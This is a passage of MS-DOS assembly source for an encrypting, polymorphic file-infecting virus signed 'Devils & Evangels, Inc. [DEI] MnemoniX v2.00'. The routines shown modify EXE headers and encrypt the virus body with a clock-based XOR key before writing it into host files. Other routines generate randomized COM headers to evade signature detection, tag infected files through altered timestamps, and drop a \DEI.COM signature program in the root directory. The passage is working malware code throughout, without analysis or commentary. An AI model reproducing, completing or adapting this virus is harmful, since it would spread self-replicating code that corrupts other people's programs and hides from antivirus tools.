  1464.  
  1465.         mov     dx,-2                   ; set SP to FFFE always
  1466.  
  1467.         mov     word ptr read_buffer[14],ax
  1468.  
  1469.         mov     word ptr read_buffer[16],dx
  1470.  
  1471. no_new_stack:
  1472.  
  1473.         pop     dx ax                   ; now calculate program size
  1474.  
  1475.  
  1476.  
  1477.         mov     cx,512                  ; in pages
  1478.  
  1479.         div     cx                      ; then save results
  1480.  
  1481.         inc     ax
  1482.  
  1483.         mov     word ptr read_buffer[2],dx
  1484.  
  1485.         mov     word ptr read_buffer[4],ax
  1486.  
  1487.         
  1488.  
  1489.         mov     ax,4202h                ; this is just easier
  1490.  
  1491.         cwd                             ; than using the SFTs
  1492.  
  1493.         xor     cx,cx
  1494.  
  1495.         call    int_21
  1496.  
  1497.  
  1498.  
  1499.         mov     ax,word ptr read_buffer[20] ; get code offset
  1500.  
  1501.         call    encrypt_and_write_virus ; encrypt virus code
  1502.  
  1503.                         ; and write it to the file
  1504.  
  1505.         mov     dx,offset header_buffer ; write original header
  1506.  
  1507.         mov     cx,28                   ; to file
  1508.  
  1509.         mov     ah,40h
  1510.  
  1511.         call    int_21
  1512.  
  1513.  
  1514.  
  1515.         mov     word ptr es:[di + 15h],0
  1516.  
  1517.         mov     word ptr es:[di + 17h],0 ; back to beginning of file
  1518.  
  1519.  
  1520.  
  1521.         mov     dx,offset read_buffer   ; and write new header to file
  1522.  
  1523.         mov     ah,40h
  1524.  
  1525.         call    int_21
  1526.  
  1527.         
  1528.  
  1529.         mov     cx,es:[di + 0Dh]        ; fix date/time
  1530.  
  1531.         mov     dx,es:[di + 0Fh]
  1532.  
  1533.         ror     dh,1
  1534.  
  1535.         add     dh,100
  1536.  
  1537.         rol     dh,1
  1538.  
  1539.         mov     ax,5701h
  1540.  
  1541.         call    int_21
  1542.  
  1543.  
  1544.  
  1545.         mov     ah,3Eh                  ; close file
  1546.  
  1547.         call    int_21
  1548.  
  1549.  
  1550.  
  1551. infect_exit:
  1552.  
  1553.         pop     es ds di si dx cx bx ax ; done ... leave
  1554.  
  1555.         ret
  1556.  
  1557.  
  1558.  
  1559. encrypt_and_write_virus:
  1560.  
  1561.         push    es di bx ax             ; save code offset and SFT
  1562.  
  1563.         mov     bx,ax
  1564.  
  1565.  
  1566.  
  1567.         xor     ah,ah                   ; get random number from
  1568.  
  1569.         int     1Ah                     ; system clock
  1570.  
  1571.         mov     cipher,dl               ; and use it for encryption
  1572.  
  1573.  
  1574.  
  1575.         pop     ax                      ; fix up offset
  1576.  
  1577.  
  1578.  
  1579.         cmp     exe_flag,0
  1580.  
  1581.         jne     not_org_100h
  1582.  
  1583.         add     ax,100h
  1584.  
  1585. not_org_100h:
  1586.  
  1587.         add     ax,(viral_code - virus_begin)
  1588.  
  1589.         mov     ds:code_offset,ax
  1590.  
  1591.  
  1592.  
  1593.         add     ax,(virus_end - viral_code) - 1 ; second offset
  1594.  
  1595.         mov     ds:code_offset_2,ax
  1596.  
  1597.  
  1598.  
  1599.         mov     si,offset virus_begin
  1600.  
  1601.         mov     di,offset encrypt_buffer
  1602.  
  1603.  
  1604.  
  1605.         push    cs                      ; move decryption module
  1606.  
  1607.         pop     es
  1608.  
  1609.  
  1610.  
  1611.         mov     cx,viral_code - virus_begin
  1612.  
  1613.         rep     movsb
  1614.  
  1615.  
  1616.  
  1617.         mov     si,offset viral_code
  1618.  
  1619.         mov     cx,virus_end - viral_code
  1620.  
  1621. encrypt:                                        ; now encrypt virus code
  1622.  
  1623.         lodsb                           ; with a simple encryption
  1624.  
  1625. decryptor_2:
  1626.  
  1627.         xor     al,dl                   ; key ...
  1628.  
  1629. shift_2:
  1630.  
  1631.         neg     dl
  1632.  
  1633.         stosb
  1634.  
  1635.         loop    encrypt
  1636.  
  1637.  
  1638.  
  1639.         cmp     exe_flag,0              ; if .COM file,
  1640.  
  1641.         jne     exe_infection
  1642.  
  1643.         mov     ax,bx
  1644.  
  1645.         call    create_header           ; create unique header
  1646.  
  1647.  
  1648.  
  1649. exe_infection:
  1650.  
  1651.         pop     bx di es                ; restore SFT
  1652.  
  1653.  
  1654.  
  1655.         mov     ah,40h                  ; wrte virus code to file
  1656.  
  1657.         mov     cx,VIRUS_SIZE
  1658.  
  1659.         mov     dx,offset encrypt_buffer
  1660.  
  1661.         call    int_21
  1662.  
  1663.  
  1664.  
  1665.         ret
  1666.  
  1667.  
  1668.  
  1669. check_datestamp:
  1670.  
  1671.         mov     ax,es:[di + 0Fh]        ; a little routine to
  1672.  
  1673.         cmp     ah,100                  ; check timestamps
  1674.  
  1675.         ret
  1676.  
  1677.  
  1678.  
  1679. drop_program:
  1680.  
  1681.         lea     dx,[bp + offset weirdo] ; this creates our
  1682.  
  1683.         push    ds                      ; little signature
  1684.  
  1685.         push    cs
  1686.  
  1687.         pop     ds
  1688.  
  1689.         mov     ah,3Ch
  1690.  
  1691.         mov     cx,3
  1692.  
  1693.         int     21h
  1694.  
  1695.         jc      no_drop
  1696.  
  1697.  
  1698.  
  1699.         xchg    ax,bx
  1700.  
  1701.         mov     ah,40h
  1702.  
  1703.         mov     cx,(drop_me_end - drop_me)
  1704.  
  1705.         lea     dx,[bp + offset drop_me]
  1706.  
  1707.         int     21h
  1708.  
  1709.  
  1710.  
  1711.         mov     ah,3Eh
  1712.  
  1713.         int     21h
  1714.  
  1715.  
  1716.  
  1717. no_drop:
  1718.  
  1719.         pop     ds
  1720.  
  1721.         ret
  1722.  
  1723.  
  1724.  
  1725. delete_program:
  1726.  
  1727.         mov     ah,41h
  1728.  
  1729.         lea     dx,[bp + offset weirdo]
  1730.  
  1731.         push    ds
  1732.  
  1733.         push    cs
  1734.  
  1735.         pop     ds
  1736.  
  1737.         int     21h
  1738.  
  1739.         pop     ds
  1740.  
  1741.         ret
  1742.  
  1743.  
  1744.  
  1745. create_header:
  1746.  
  1747.         push    ax
  1748.  
  1749.         add     ax,100h + (offset decrypt - offset virus_begin)
  1750.  
  1751.         mov     ds:mov_1,ax             ; header
  1752.  
  1753.         inc     ax
  1754.  
  1755.         inc     ax
  1756.  
  1757.         mov     ds:mov_2,ax
  1758.  
  1759.  
  1760.  
  1761.         xor     ah,ah                   ; fill in useless MOVs
  1762.  
  1763.         int     1Ah                     ; with random bytes
  1764.  
  1765.         mov     ds:mov_al,cl
  1766.  
  1767.         mov     ds:mov_ax,dx
  1768.  
  1769.  
  1770.  
  1771.         push    dx                      ; modify header a little ...
  1772.  
  1773.         and     cl,7                    ; make things weirder ...
  1774.  
  1775.         add     cl,0B0h
  1776.  
  1777.         mov     ds:mov_reg,cl
  1778.  
  1779.         and     dl,3
  1780.  
  1781.         add     dl,0B8h
  1782.  
  1783.         mov     ds:mov_regx,dl
  1784.  
  1785.         pop     dx
  1786.  
  1787.  
  1788.  
  1789.         push    cs
  1790.  
  1791.         pop     es
  1792.  
  1793.         mov     di,offset encrypt_buffer
  1794.  
  1795.         add     di,offset decrypt - offset virus_begin
  1796.  
  1797.         mov     ax,dx                   ; now fill decryption module
  1798.  
  1799.         neg     ax                      ; with some garbage
  1800.  
  1801.         stosw
  1802.  
  1803.         rol     ax,1
  1804.  
  1805.         stosw
  1806.  
  1807.  
  1808.  
  1809.         pop     ax
  1810.  
  1811.         sub     ax,20                   ; fix up JMP instruction
  1812.  
  1813.         mov     ds:new_jump,ax
  1814.  
  1815.  
  1816.  
  1817.         ret                             ; done
  1818.  
  1819.  
  1820.  
  1821. new_header      db      0C7h,06
  1822.  
  1823. mov_1           dw      00
  1824.  
  1825.         db      2Eh
  1826.  
  1827. decryptor_3     db      30h                 ; first MOV
  1828.  
  1829. mov_reg         db      0B0h
  1830.  
  1831. mov_al          db      00                      ; a nothing MOV bytereg,
  1832.  
  1833.         db      0C7h,06
  1834.  
  1835. mov_2           dw      00
  1836.  
  1837.         db      07,043h                 ; second MOV
  1838.  
  1839. mov_regx        db      0B8h
  1840.  
  1841. mov_ax          dw      00                      ; a nothing MOV wordreg,
  1842.  
  1843.         db      0E9h                    ; jump instruction
  1844.  
  1845. new_jump        dw      0                       ; virus offset
  1846.  
  1847.  
  1848.  
  1849. exe_flag        db      0
  1850.  
  1851.  
  1852.  
  1853. exe_cs          dw      0                       ; EXE code/stack settings
  1854.  
  1855. exe_ip          dw      0
  1856.  
  1857. exe_ss          dw      0
  1858.  
  1859. exe_sp          dw      0
  1860.  
  1861.  
  1862.  
  1863. drop_me:
  1864.  
  1865.         mov     ah,9                    ; this program is dropped
  1866.  
  1867.         mov     dx,109h                 ; at random times within
  1868.  
  1869.         int     21h                     ; the root directory as
  1870.  
  1871.         int     20h                     ; \DEI.COM
  1872.  
  1873.  
  1874.  
  1875. sig             db      'Devils & Evangels, Inc. '
  1876.  
  1877.         db      '[DEI] MnemoniX $',0
  1878.  
  1879. drop_me_end:
  1880.  
  1881.         db      'v2.00'
  1882.  
  1883.  
  1884.  
  1885. weirdo          db      '\DEI.COM',0
  1886.  
  1887.  
  1888.  
  1889. virus_end:
  1890.  
  1891. host:
  1892.  
  1893.         mov     ah,4Ch                  ; fake host program
  1894.  
  1895.         int     21h
  1896.  
  1897.  
  1898.  
  1899. VIRUS_SIZE      equ     virus_end - virus_begin
  1900.  
  1901.  
  1902.  
  1903. read_buffer     db      28 dup (?)
  1904.  
  1905. header_buffer   db      28 dup (?)
  1906.  
  1907. encrypt_buffer  db      VIRUS_SIZE dup (?)
  1908.  
  1909. end_heap:
  1910.  
  1911.  
  1912.  
  1913. MEM_SIZE        equ     end_heap - start
  1914.  
  1915.  
  1916.  
  1917. code            ends
  1918.  
  1919.         end     start
  1920.  
  1921.